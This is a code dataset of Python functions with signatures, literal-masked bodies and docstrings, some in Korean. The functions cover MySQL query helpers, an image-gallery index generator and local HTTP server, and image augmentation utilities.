{"signature": "def _cursor_exit(cursor, exc_type, exc_value, traceback):", "body": "if exc_type is not None:<EOL><INDENT>print(exc_value, traceback)<EOL><DEDENT>cursor.connection.close()<EOL>", "docstring": "cursor with\ubb38\uacfc \uc4f8\uc218 \uc788\uac8c __exit__\uc5d0 \ubc14\uc778\ub529\n:param cursor:\n:param exc_type:\n:param exc_value:\n:param traceback:\n:return:", "id": "f6387:m3"}
{"signature": "def cursor(db, **kwargs):", "body": "return connect(db, **kwargs).cursor()<EOL>", "docstring": "db cursor \ub9ac\ud134\n:param db: str: db \uc2a4\ud0a4\ub9c8 \uc774\ub984\n:param kwargs: \ucd94\uac00 MySQLdb.connect \uc758 kwarg\ub4e4\n:return: cursor \uc624\ube0c\uc81d\ud2b8", "id": "f6387:m4"}
{"signature": "def fetch(query, args=None, **kwargs):", "body": "cur = execute(kwargs.pop('<STR_LIT>', '<STR_LIT>'), query, args, **kwargs)<EOL>for r in cur:<EOL><INDENT>yield r<EOL><DEDENT>cur.connection.close()<EOL>", "docstring": "for record in fetch(query, args, **configs):\n    print record\n:param args:\n:param db: str: db \uc2a4\ud0a4\ub9c8\n:param query: \ucffc\ub9ac \uc2a4\ud2b8\ub9c1\n:param kwargs: db connection \ucd94\uac00 \uc778\uc790. \ubcf4\ud1b5 \uc0dd\ub7b5\n:return: iterator", "id": "f6387:m6"}
{"signature": "def fieldnames(cursor):", "body": "return [f[<NUM_LIT:0>] for f in cursor.description]<EOL>", "docstring": "\ucd5c\uadfc \uc2e4\ud589\ud55c \ucffc\ub9ac\uc758 field names \ub9ac\uc2a4\ud2b8\n:param cursor:\n:return: list[str]", "id": "f6387:m8"}
{"signature": "def get_insert_query(table, fields=None, field_count=None):", "body": "if fields:<EOL><INDENT>q = '<STR_LIT>' % table<EOL>l = len(fields)<EOL>q = q.format('<STR_LIT:U+002C>'.join(fields), '<STR_LIT:U+002C>'.join(['<STR_LIT:%s>'] * l))<EOL><DEDENT>elif field_count:<EOL><INDENT>q = '<STR_LIT>' % table<EOL>q = q.format('<STR_LIT:U+002C>'.join(['<STR_LIT:%s>'] * field_count))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return q<EOL>", "docstring": "format insert query\n:param table: str\n:param fields: list[str]\n:param field_count: int\n:return: str", "id": "f6387:m10"}
{"signature": "def insert(cursor, table, *args, **field_values):", "body": "commit = field_values.pop('<STR_LIT>', True)<EOL>q, a = None, None<EOL>if args is not None and len(args) > <NUM_LIT:0>:<EOL><INDENT>q = get_insert_query(table, field_count=len(args))<EOL>a = args<EOL><DEDENT>elif len(field_values) > <NUM_LIT:0>:<EOL><INDENT>q = get_insert_query(table, fields=field_values.keys())<EOL>a = field_values.values()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>cursor.execute(q, args=a)<EOL>if commit:<EOL><INDENT>cursor.connection.commit()<EOL><DEDENT>", "docstring": "db\uc5d0 \ub808\ucf54\ub4dc \uc9d1\uc5b4\ub123\uae30\nex)\ncursor.insert(table, v1, v2,...)\nex)\ncursor.insert(table, id=v1, word=v2, commit=True)\n:param commit:\n:param cursor:\n:param table:\n:param args:\n:param field_values:\n:return:", "id": "f6387:m11"}
{"signature": "def update(cursor, table, where_kv, commit=True, **field_values):", "body": "q = \"\"\"<STR_LIT>\"\"\" % table<EOL>fields = field_values.keys()<EOL>kv = '<STR_LIT:U+002C>'.join(['<STR_LIT>'.format(f) for f in fields])<EOL>where = '<STR_LIT>'.join(['<STR_LIT>'.format(f) for f in where_kv.keys()])<EOL>q = q.format(kv, where)<EOL>args = field_values.values() + where_kv.values()<EOL>cursor.execute(q, args=args)<EOL>if commit:<EOL><INDENT>cursor.connection.commit()<EOL><DEDENT>", "docstring": "db update \ucffc\ub9ac \ube4c\ub529 \ubc0f \uc2e4\ud589, \ub2e8, commit\uc740\n:param cursor: \ucee4\uc11c\n:type cursor: Cursor\n:param table: \ud14c\uc774\ube14 \uc774\ub984\n:type table: str\n:param where_kv: \uc5c5\ub370\uc774\ud2b8 where \uc870\uac74 dictionary, key:field, value:equal condition only\n:type where_kv: dict\n:param field_values: kwarg \uc5c5\ub370\uc774\ud2b8\uc6a9\n:type field_values: dict\n:param commit: \ucee4\ubc0b \uc5ec\ubd80\n:type commit: bool\n:return:", "id": "f6387:m12"}
{"signature": "def insert_or_update(cursor, table, commit=True, **field_values):", "body": "q = \"\"\"<STR_LIT>\"\"\" % table<EOL>l = len(field_values)<EOL>fields = field_values.keys()<EOL>field = '<STR_LIT:U+002C>'.join(fields)<EOL>value = '<STR_LIT:U+002C>'.join(['<STR_LIT:%s>'] * l)<EOL>kv = '<STR_LIT:U+002C>'.join(['<STR_LIT>'.format(f) for f in fields])<EOL>q = q.format(field, value, kv)<EOL>args = field_values.values() * <NUM_LIT:2><EOL>cursor.execute(q, args=args)<EOL>if commit:<EOL><INDENT>cursor.connection.commit()<EOL><DEDENT>", "docstring": "db update \ucffc\ub9ac \ube4c\ub529 \ubc0f \uc2e4\ud589, \ub2e8, commit\uc740\n:param cursor: \ucee4\uc11c\n:type cursor: Cursor\n:param table: \ud14c\uc774\ube14\uc774\ub984\n:type table: str\n:param commit: \ucee4\ubc0b \uc5ec\ubd80\n:type commit: bool\n:param field_values: insert \ub610\ub294 \uc5c5\ub370\uc774\ud2b8 \ud560 \ud544\ub4dc \ubc0f \uac12 dict pairs\n:type field_values:dict\n:return:", "id": "f6387:m13"}
{"signature": "def _clean_up(paths):", "body": "print('<STR_LIT>')<EOL>for path in paths:<EOL><INDENT>print('<STR_LIT>' % path)<EOL>os.unlink(path)<EOL><DEDENT>", "docstring": "Clean up after ourselves, removing created files.\n@param {[String]} A list of file paths specifying the files we've created\n    during run. Will all be deleted.\n@return {None}", "id": "f6389:m0"}
{"signature": "def _create_index_file(<EOL>root_dir, location, image_files, dirs, force_no_processing=False):", "body": "<EOL>header_text ='<STR_LIT>' + location + '<STR_LIT>' + str(len(image_files)) + '<STR_LIT>'<EOL>html = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' + str(<NUM_LIT> / IMAGES_PER_ROW) + '<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' + header_text + '<STR_LIT>'<EOL>]<EOL>directories = []<EOL>if root_dir != location:<EOL><INDENT>directories = ['<STR_LIT:..>']<EOL><DEDENT>directories += dirs<EOL>if len(directories) > <NUM_LIT:0>:<EOL><INDENT>html.append('<STR_LIT>')<EOL><DEDENT>for directory in directories:<EOL><INDENT>link = directory + '<STR_LIT:/>' + INDEX_FILE_NAME<EOL>html += [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' + link + '<STR_LIT>' + directory + '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL><DEDENT>table_row_count = <NUM_LIT:1><EOL>html += ['<STR_LIT>', '<STR_LIT>']<EOL>for image_file in image_files:<EOL><INDENT>if table_row_count == <NUM_LIT:1>:<EOL><INDENT>html.append('<STR_LIT>')<EOL><DEDENT>img_src = _get_thumbnail_src_from_file(<EOL>location, image_file, force_no_processing<EOL>)<EOL>link_target = _get_image_link_target_from_file(<EOL>location, image_file, force_no_processing<EOL>)<EOL>html += [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' + link_target + '<STR_LIT>',<EOL>'<STR_LIT>' + img_src + '<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>if table_row_count == IMAGES_PER_ROW:<EOL><INDENT>table_row_count = <NUM_LIT:0><EOL>html.append('<STR_LIT>')<EOL><DEDENT>table_row_count += <NUM_LIT:1><EOL><DEDENT>html += ['<STR_LIT>', '<STR_LIT>']<EOL>html += [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>index_file_path = _get_index_file_path(location)<EOL>print('<STR_LIT>' % index_file_path)<EOL>index_file = open(index_file_path, '<STR_LIT:w>')<EOL>index_file.write('<STR_LIT:\\n>'.join(html))<EOL>index_file.close()<EOL>return index_file_path<EOL>", "docstring": "Create an index file in the given location, supplying known lists of\npresent image files and subdirectories.\n@param {String} root_dir - The root directory of the entire crawl. Used to\n    ascertain whether the given location is the top level.\n@param {String} location - The current directory of the crawl. The index\n    file will be created here.\n@param {[String]} image_files - A list of image file names in the location.\n    These will be displayed in the index file's gallery.\n@param {[String]} dirs - The subdirectories of the location directory.\n    These will be displayed as links further down the file structure.\n@param {Boolean=False} force_no_processing - If True, do not attempt to\n    actually process thumbnails, PIL images or anything. Simply index\n    <img> tags with original file src attributes.\n@return {String} The full path (location plus filename) of the newly\n    created index file. Intended for usage cleaning up created files.", "id": "f6389:m1"}
{"signature": "def _create_index_files(root_dir, force_no_processing=False):", "body": "<EOL>created_files = []<EOL>for here, dirs, files in os.walk(root_dir):<EOL><INDENT>print('<STR_LIT>' % here)<EOL>dirs = sorted(dirs)<EOL>image_files = [f for f in files if re.match(IMAGE_FILE_REGEX, f)]<EOL>image_files = sorted(image_files)<EOL>created_files.append(<EOL>_create_index_file(<EOL>root_dir, here, image_files, dirs, force_no_processing<EOL>)<EOL>)<EOL><DEDENT>return created_files<EOL>", "docstring": "Crawl the root directory downwards, generating an index HTML file in each\ndirectory on the way down.\n@param {String} root_dir - The top level directory to crawl down from. In\n    normal usage, this will be '.'.\n@param {Boolean=False} force_no_processing - If True, do not attempt to\n    actually process thumbnails, PIL images or anything. Simply index\n    <img> tags with original file src attributes.\n@return {[String]} Full file paths of all created files.", "id": "f6389:m2"}
{"signature": "def _get_image_from_file(dir_path, image_file):", "body": "<EOL>if not PIL_ENABLED:<EOL><INDENT>return None<EOL><DEDENT>path = os.path.join(dir_path, image_file)<EOL>img = None<EOL>try:<EOL><INDENT>img = Image.open(path)<EOL><DEDENT>except IOError as exptn:<EOL><INDENT>print('<STR_LIT>' % (path, exptn))<EOL><DEDENT>return img<EOL>", "docstring": "Get an instance of PIL.Image from the given file.\n@param {String} dir_path - The directory containing the image file\n@param {String} image_file - The filename of the image file within dir_path\n@return {PIL.Image} An instance of the image file as a PIL Image, or None\n    if the functionality is not available. This could be because PIL is not\n    present, or because it can't process the given file type.", "id": "f6389:m3"}
{"signature": "def _get_image_link_target_from_file(dir_path, image_file, force_no_processing=False):", "body": "<EOL>if force_no_processing:<EOL><INDENT>return image_file<EOL><DEDENT>img = _get_image_from_file(dir_path, image_file)<EOL>if img.format.lower() in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>return _get_image_src_from_file(<EOL>dir_path, image_file, force_no_processing<EOL>)<EOL><DEDENT>return image_file<EOL>", "docstring": "Get the value to be used as the href for links from thumbnail images. For\nmost image formats this will simply be the image file name itself. However,\nsome image formats (tif) are not natively displayable by many browsers and\ntherefore we must link to image data in another format.\n@param {String} dir_path - The directory containing the image file\n@param {String} image_file - The filename of the image file within dir_path\n@param {Boolean=False} force_no_processing - If True, do not attempt to\n    actually process a thumbnail, PIL image or anything. Simply return the\n    image filename as src.\n@return {String} The href to use.", "id": "f6389:m4"}
{"signature": "def _get_image_src_from_file(dir_path, image_file, force_no_processing=False):", "body": "<EOL>if force_no_processing:<EOL><INDENT>if image_file.endswith('<STR_LIT>') or image_file.endswith('<STR_LIT>'):<EOL><INDENT>return UNSUPPORTED_IMAGE_TYPE_DATA<EOL><DEDENT>return image_file<EOL><DEDENT>img = _get_image_from_file(dir_path, image_file)<EOL>return _get_src_from_image(img, image_file)<EOL>", "docstring": "Get base-64 encoded data as a string for the given image file's full image,\nfor use directly in HTML <img> tags, or a path to the original if image\nscaling is not supported.\nThis is a full-sized version of _get_thumbnail_src_from_file, for use in\nimage formats which cannot be displayed directly in-browser, and therefore\nneed processed versions even at full size.\n@param {String} dir_path - The directory containing the image file\n@param {String} image_file - The filename of the image file within dir_path\n@param {Boolean=False} force_no_processing - If True, do not attempt to\n    actually process a thumbnail, PIL image or anything. Simply return the\n    image filename as src.\n@return {String} The base-64 encoded image data string, or path to the file\n    itself if not supported.", "id": "f6389:m5"}
{"signature": "def _get_index_file_path(location):", "body": "return os.path.join(location, INDEX_FILE_NAME)<EOL>", "docstring": "Get the full file path to be used for an index file in the given location.\nYields location plus the constant INDEX_FILE_NAME.\n@param {String} location - A directory location in which we want to create\n    a new index file.\n@return {String} A file path for usage with a new index file.", "id": "f6389:m6"}
{"signature": "def _get_server_port():", "body": "return int(sys.argv[<NUM_LIT:1>]) if len(sys.argv) >= <NUM_LIT:2> else <NUM_LIT><EOL>", "docstring": "Get the port specified for the server to run on. If given as the first\ncommand line argument, we'll use that. Else we'll default to 8000.\n@return {Integer} The port to run the server on. Default 8000, overridden\n    by first command line argument.", "id": "f6389:m7"}
{"signature": "def _get_src_from_image(img, fallback_image_file):", "body": "<EOL>if img is None:<EOL><INDENT>return fallback_image_file<EOL><DEDENT>target_format = img.format<EOL>if target_format.lower() in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>target_format = '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>bytesio = io.BytesIO()<EOL>img.save(bytesio, target_format)<EOL>byte_value = bytesio.getvalue()<EOL>b64 = base64.b64encode(byte_value)<EOL>return '<STR_LIT>' % (target_format.lower(), b64)<EOL><DEDENT>except IOError as exptn:<EOL><INDENT>print('<STR_LIT>' % exptn)<EOL>return fallback_image_file<EOL><DEDENT>", "docstring": "Get base-64 encoded data as a string for the given image. Fallback to return\nfallback_image_file if cannot get the image data or img is None.\n@param {Image} img - The PIL Image to get src data for\n@param {String} fallback_image_file - The filename of the image file,\n    to be used when image data capture fails\n@return {String} The base-64 encoded image data string, or path to the file\n    itself if not supported.", "id": "f6389:m8"}
{"signature": "def _get_thumbnail_image_from_file(dir_path, image_file):", "body": "<EOL>img = _get_image_from_file(dir_path, image_file)<EOL>if img is None:<EOL><INDENT>return None<EOL><DEDENT>if img.format.lower() == '<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>img_width, img_height = img.size<EOL>scale_ratio = THUMBNAIL_WIDTH / float(img_width)<EOL>target_height = int(scale_ratio * img_height)<EOL>try:<EOL><INDENT>img.thumbnail((THUMBNAIL_WIDTH, target_height), resample=RESAMPLE)<EOL><DEDENT>except IOError as exptn:<EOL><INDENT>print('<STR_LIT>' % (<EOL>dir_path, image_file, exptn<EOL>))<EOL>return None<EOL><DEDENT>return img<EOL>", "docstring": "Get a PIL.Image from the given image file which has been scaled down to\nTHUMBNAIL_WIDTH wide.\n@param {String} dir_path - The directory containing the image file\n@param {String} image_file - The filename of the image file within dir_path\n@return {PIL.Image} An instance of the thumbnail as a PIL Image, or None\n    if the functionality is not available. See _get_image_from_file for\n    details.", "id": "f6389:m9"}
{"signature": "def _get_thumbnail_src_from_file(dir_path, image_file, force_no_processing=False):", "body": "<EOL>if force_no_processing:<EOL><INDENT>if image_file.endswith('<STR_LIT>') or image_file.endswith('<STR_LIT>'):<EOL><INDENT>return UNSUPPORTED_IMAGE_TYPE_DATA<EOL><DEDENT>return image_file<EOL><DEDENT>img = _get_thumbnail_image_from_file(dir_path, image_file)<EOL>return _get_src_from_image(img, image_file)<EOL>", "docstring": "Get base-64 encoded data as a string for the given image file's thumbnail,\nfor use directly in HTML <img> tags, or a path to the original if image\nscaling is not supported.\n@param {String} dir_path - The directory containing the image file\n@param {String} image_file - The filename of the image file within dir_path\n@param {Boolean=False} force_no_processing - If True, do not attempt to\n    actually process a thumbnail, PIL image or anything. Simply return the\n    image filename as src.\n@return {String} The base-64 encoded image data string, or path to the file\n    itself if not supported.", "id": "f6389:m10"}
{"signature": "def _run_server():", "body": "<EOL>port = _get_server_port()<EOL>SocketServer.TCPServer.allow_reuse_address = True<EOL>server = SocketServer.TCPServer(<EOL>('<STR_LIT>', port),<EOL>SimpleHTTPServer.SimpleHTTPRequestHandler<EOL>)<EOL>print('<STR_LIT>' % (<EOL>port,<EOL>INDEX_FILE_NAME<EOL>))<EOL>try:<EOL><INDENT>server.serve_forever()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>except Exception as exptn:<EOL><INDENT>print(exptn)<EOL>print('<STR_LIT>')<EOL><DEDENT>", "docstring": "Run the image server. This is blocking. Will handle user KeyboardInterrupt\nand other exceptions appropriately and return control once the server is\nstopped.\n@return {None}", "id": "f6389:m11"}
{"signature": "def serve_dir(dir_path):", "body": "<EOL>print('<STR_LIT>')<EOL>created_files = _create_index_files(dir_path, True)<EOL>if (PIL_ENABLED):<EOL><INDENT>print('<STR_LIT>')<EOL>background_indexer = BackgroundIndexFileGenerator(dir_path)<EOL>background_indexer.run()<EOL><DEDENT>_run_server()<EOL>_clean_up(created_files)<EOL>", "docstring": "Generate indexes and run server from the given directory downwards.\n@param {String} dir_path - The directory path (absolute, or relative to CWD)\n@return {None}", "id": "f6389:m12"}
{"signature": "def rand_fliplr(*imagez):", "body": "return rand_apply_onebatch(np.fliplr, imagez)<EOL>", "docstring": "flip together", "id": "f6390:m3"}
{"signature": "def rand_flipud(*imagez):", "body": "return rand_apply_onebatch(np.flipud, imagez)<EOL>", "docstring": "flip together", "id": "f6390:m4"}
{"signature": "def rand_rot90(*imagez):", "body": "return rand_apply_onebatch(np.rot90, imagez)<EOL>", "docstring": "rotate together", "id": "f6390:m5"}
{"signature": "def rand_crop(sz, *imagez):", "body": "def _rand_crop(*imgz):<EOL><INDENT>imsz = imgz[<NUM_LIT:0>].shape[:<NUM_LIT:2>]<EOL>assert imsz[<NUM_LIT:0>] >= sz[<NUM_LIT:0>] and imsz[<NUM_LIT:1>] >= sz[<NUM_LIT:1>]<EOL>si = np.random.randint(imsz[<NUM_LIT:0>] - sz[<NUM_LIT:0>]) if imsz[<NUM_LIT:0>] > sz[<NUM_LIT:0>] else <NUM_LIT:0><EOL>sj = np.random.randint(imsz[<NUM_LIT:1>] - sz[<NUM_LIT:1>]) if imsz[<NUM_LIT:1>] > sz[<NUM_LIT:1>] else <NUM_LIT:0><EOL>slicei = slice(si, si+sz[<NUM_LIT:0>])<EOL>slicej = slice(sj, sj+sz[<NUM_LIT:1>])<EOL>outs = tuple(img[slicei, slicej] for img in imgz)<EOL>return tuple_or_not(*outs)<EOL><DEDENT>return _rand_crop(*imagez) if imagez else _rand_crop<EOL>", "docstring": "random crop\n# assume imagez has same size (H, W)\n# assume sz is less or equal than size of image\n:param sz: cropped image sz\n:param imagez: imagez\n:return: rand cropped image pairs or function bound to sz", "id": "f6390:m6"}
{"signature": "def rand_rotate(anglerange, *imagez):", "body": "r = float(anglerange[<NUM_LIT:1>] - anglerange[<NUM_LIT:0>])<EOL>s = anglerange[<NUM_LIT:0>]<EOL>def _rand_rotate(*imgz):<EOL><INDENT>angle = np.random.random(<NUM_LIT:1>)[<NUM_LIT:0>] * r + s<EOL>out = tuple(rotate(img, angle) for img in imgz)<EOL>return tuple_or_not(out)<EOL><DEDENT>return _rand_rotate(*imagez) if imagez else _rand_rotate<EOL>", "docstring": ":param anglerange:\n:param imagez:\n:return:", "id": "f6390:m8"}
{"signature": "def blend_discrete(images, depthmask, depth=None):", "body": "imshape = images.shape<EOL>depth = depth or images.shape[<NUM_LIT:3>]<EOL>blend = np.empty(shape=(imshape[<NUM_LIT:0>], imshape[<NUM_LIT:1>], imshape[<NUM_LIT:2>]))<EOL>for d in range(depth):<EOL><INDENT>imask = (depthmask == d)<EOL>channel = images[..., d]<EOL>blend[imask] = channel[imask]<EOL><DEDENT>return np.expand_dims(blend, axis=-<NUM_LIT:1>)<EOL>", "docstring": "depthmask : shape of [batch, h, w]", "id": "f6390:m11"}
{"signature": "def rand_blend_mask(shape, rand=rand.uniform(-<NUM_LIT:10>, <NUM_LIT:10>), **kwargs):", "body": "<EOL>z = rand(shape[<NUM_LIT:0>])  <EOL>noise = snoise2dz((shape[<NUM_LIT:1>], shape[<NUM_LIT:2>]), z, **kwargs)<EOL>return noise<EOL>", "docstring": "random blending masks", "id": "f6390:m12"}
{"signature": "def snoise2dvec(size, *params, **kwargs):  ", "body": "data = (snoise2d(size, *p, **kwargs) for p in zip(*params))  <EOL>return np.stack(data, <NUM_LIT:0>)<EOL>", "docstring": "vector parameters\n:param size:\n:param vz:\n:param vscale:\n:param voctave:\n:param vpersistence:\n:param vlacunarity:\n:return:", "id": "f6390:m13"}
{"signature": "def snoise2d(size, z=<NUM_LIT:0.0>, scale=<NUM_LIT>, octaves=<NUM_LIT:1>, persistence=<NUM_LIT>, lacunarity=<NUM_LIT>):", "body": "import noise<EOL>data = np.empty(size, dtype='<STR_LIT>')<EOL>for y in range(size[<NUM_LIT:0>]):<EOL><INDENT>for x in range(size[<NUM_LIT:1>]):<EOL><INDENT>v = noise.snoise3(x * scale, y * scale, z,<EOL>octaves=octaves, persistence=persistence, lacunarity=lacunarity)<EOL>data[x, y] = v<EOL><DEDENT><DEDENT>data = data * <NUM_LIT:0.5> + <NUM_LIT:0.5><EOL>if __debug__:<EOL><INDENT>assert data.min() >= <NUM_LIT:0.> and data.max() <= <NUM_LIT:1.0><EOL><DEDENT>return data<EOL>", "docstring": "z value as like a seed", "id": "f6390:m14"}
{"signature": "def snoise2dz(size, z, scale=<NUM_LIT>, octaves=<NUM_LIT:1>, persistence=<NUM_LIT>, lacunarity=<NUM_LIT>):", "body": "import noise<EOL>z_l = len(z)<EOL>data = np.empty((z_l, size[<NUM_LIT:0>], size[<NUM_LIT:1>]), dtype='<STR_LIT>')<EOL>for iz in range(z_l):<EOL><INDENT>zvalue = z[iz]<EOL>for y in range(size[<NUM_LIT:0>]):<EOL><INDENT>for x in range(size[<NUM_LIT:1>]):<EOL><INDENT>v = noise.snoise3(x * scale, y * scale, zvalue,<EOL>octaves=octaves, persistence=persistence, lacunarity=lacunarity)<EOL>data[iz, y, x] = v<EOL><DEDENT><DEDENT><DEDENT>data = data * <NUM_LIT:0.5> + <NUM_LIT:0.5><EOL>if __debug__:<EOL><INDENT>assert data.min() >= <NUM_LIT:0.> and data.max() <= <NUM_LIT:1.0><EOL><DEDENT>return data<EOL>", "docstring": "z as seeds\nscale\uc774 \uc791\uc744 \uc218\ub85d \ud328\ud134\uc774 \ucee4\uc9c0\ub294 \ud6a8\uacfc", "id": "f6390:m15"}
{"signature": "@tuple_args<EOL>def rand_brightness(imagez, scale=<NUM_LIT:1.0>, randfun=rand.normal(<NUM_LIT:0.>, <NUM_LIT>), clamp=(<NUM_LIT:0.>, <NUM_LIT:1.>)):", "body": "l, h = clamp<EOL>r = randfun((imagez[<NUM_LIT:0>].shape[<NUM_LIT:0>], <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)) * scale<EOL>def apply(im):<EOL><INDENT>im += r<EOL>im[im < l] = l<EOL>im[im > h] = h<EOL>return im<EOL><DEDENT>return tuple(map(apply, imagez))<EOL>", "docstring": ":param images:\n:param scale: scale for random value\n:param randfun: any randfun binding except shape\n:param clamp: clamping range\n:return:", "id": "f6390:m16"}
{"signature": "def elastic_transform(im, alpha=<NUM_LIT:0.5>, sigma=<NUM_LIT>, affine_sigma=<NUM_LIT:1.>):", "body": "<EOL>import cv2<EOL>islist = isinstance(im, (tuple, list))<EOL>ima = im[<NUM_LIT:0>] if islist else im<EOL>shape = ima.shape<EOL>shape_size = shape[:<NUM_LIT:2>]<EOL>center_square = np.float32(shape_size) // <NUM_LIT:2><EOL>square_size = min(shape_size) // <NUM_LIT:3><EOL>pts1 = np.float32([center_square + square_size,<EOL>[center_square[<NUM_LIT:0>] + square_size, center_square[<NUM_LIT:1>] - square_size],<EOL>center_square - square_size])<EOL>pts2 = pts1 + np.random.uniform(-affine_sigma, affine_sigma, size=pts1.shape).astype(np.float32)<EOL>M = cv2.getAffineTransform(pts1, pts2)<EOL>if islist:<EOL><INDENT>res = []<EOL>for i, ima in enumerate(im):<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>res.append(cv2.warpAffine(ima, M, shape_size[::-<NUM_LIT:1>], borderMode=cv2.BORDER_REFLECT_101))<EOL><DEDENT>else:<EOL><INDENT>res.append(cv2.warpAffine(ima, M, shape_size[::-<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>im = res<EOL><DEDENT>else:<EOL><INDENT>ima = cv2.warpAffine(ima, M, shape_size[::-<NUM_LIT:1>], borderMode=cv2.BORDER_REFLECT_101)<EOL><DEDENT>blur_size = int(<NUM_LIT:4> * sigma) | <NUM_LIT:1><EOL>dx = cv2.GaussianBlur((np.random.rand(*shape) * <NUM_LIT:2> - <NUM_LIT:1>), ksize=(blur_size, blur_size), sigmaX=sigma) * alpha<EOL>dy = cv2.GaussianBlur((np.random.rand(*shape) * <NUM_LIT:2> - <NUM_LIT:1>), ksize=(blur_size, blur_size), sigmaX=sigma) * alpha<EOL>x, y = np.meshgrid(np.arange(shape[<NUM_LIT:1>]), np.arange(shape[<NUM_LIT:0>]))<EOL>map_x, map_y = (y + dy).astype('<STR_LIT>'), (x + dx).astype('<STR_LIT>')<EOL>def remap(data):<EOL><INDENT>r = cv2.remap(data, map_y, map_x, interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_REFLECT_101)<EOL>return r[..., np.newaxis]<EOL><DEDENT>if islist:<EOL><INDENT>return tuple([remap(ima) for ima in im])<EOL><DEDENT>else:<EOL><INDENT>return remap(ima)<EOL><DEDENT>", "docstring": "Based on https://gist.github.com/erniejunior/601cdf56d2b424757de5\nelastic deformation of images as described in [Simard2003]", "id": "f6390:m18"}
{"signature": "def rotate_crop(centerij, sz, angle, img=None, mode='<STR_LIT>', **kwargs):", "body": "<EOL>from skimage import transform<EOL>sz = np.array(sz)<EOL>crop_half = int(np.ceil(np.sqrt(np.square(sz).sum())))<EOL>if centerij[<NUM_LIT:0>] >= crop_half or centerij[<NUM_LIT:1>] >= crop_half:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>slicei = slice(centerij[<NUM_LIT:0>] - crop_half, centerij[<NUM_LIT:0>] + crop_half)<EOL>slicej = slice(centerij[<NUM_LIT:1>] - crop_half, centerij[<NUM_LIT:1>] + crop_half)<EOL>def _rotate_cropcenter(im):<EOL><INDENT>enoughcrop = im[slicei, slicej]<EOL>rotated = transform.rotate(enoughcrop, angle, resize=False, preserve_range=True, mode=mode, **kwargs)<EOL>return cropcenter(sz, rotated)<EOL><DEDENT>if img is not None:<EOL><INDENT>return _rotate_cropcenter(img)<EOL><DEDENT>return _rotate_cropcenter<EOL>", "docstring": "rotate and crop\nif no img, then return crop function\n:param centerij:\n:param sz:\n:param angle:\n:param img: [h,w,d]\n:param mode: padding option\n:return: cropped image or function", "id": "f6390:m19"}
{"signature": "def crop(img, center, sz, mode='<STR_LIT>'):", "body": "center = np.array(center)<EOL>sz = np.array(sz)<EOL>istart = (center - sz / <NUM_LIT>).astype('<STR_LIT>')<EOL>iend = istart + sz<EOL>imsz = img.shape[:<NUM_LIT:2>]<EOL>if np.any(istart < <NUM_LIT:0>) or np.any(iend > imsz):<EOL><INDENT>padwidth = [(np.minimum(<NUM_LIT:0>, istart[<NUM_LIT:0>]), np.maximum(<NUM_LIT:0>, iend[<NUM_LIT:0>]-imsz[<NUM_LIT:0>])),<EOL>(np.minimum(<NUM_LIT:0>, istart[<NUM_LIT:1>]), np.maximum(<NUM_LIT:0>, iend[<NUM_LIT:1>]-imsz[<NUM_LIT:1>]))]<EOL>padwidth += [(<NUM_LIT:0>, <NUM_LIT:0>)] * (len(img.shape) - <NUM_LIT:2>)<EOL>img = np.pad(img, padwidth, mode=mode)<EOL>istart = (np.maximum(<NUM_LIT:0>, istart[<NUM_LIT:0>]), np.maximum(<NUM_LIT:0>, istart[<NUM_LIT:1>]))<EOL>return img[istart[<NUM_LIT:0>]:istart[<NUM_LIT:0>]+sz[<NUM_LIT:0>], istart[<NUM_LIT:1>]:istart[<NUM_LIT:1>]+sz[<NUM_LIT:1>]]<EOL><DEDENT>return img[istart[<NUM_LIT:0>]:iend[<NUM_LIT:0>], istart[<NUM_LIT:1>]:iend[<NUM_LIT:1>]]<EOL>", "docstring": "crop sz from ij as center\n:param img:\n:param center: ij\n:param sz:\n:param mode:\n:return:", "id": "f6390:m21"}
{"signature": "def cropcenter(sz, img=None):", "body": "l = len(sz)<EOL>sz = np.array(sz)<EOL>def wrapped(im):<EOL><INDENT>imsz = np.array(im.shape)<EOL>s = (imsz[:l] - sz) / <NUM_LIT:2>  <EOL>to = s + sz  <EOL>slices = [slice(s, e) for s, e in zip(s, to)]<EOL>return im[slices]<EOL><DEDENT>if img is not None:<EOL><INDENT>return wrapped(img)<EOL><DEDENT>return wrapped<EOL>", "docstring": "if no img, then return crop function\n:param sz:\n:param img:\n:return:", "id": "f6390:m22"}
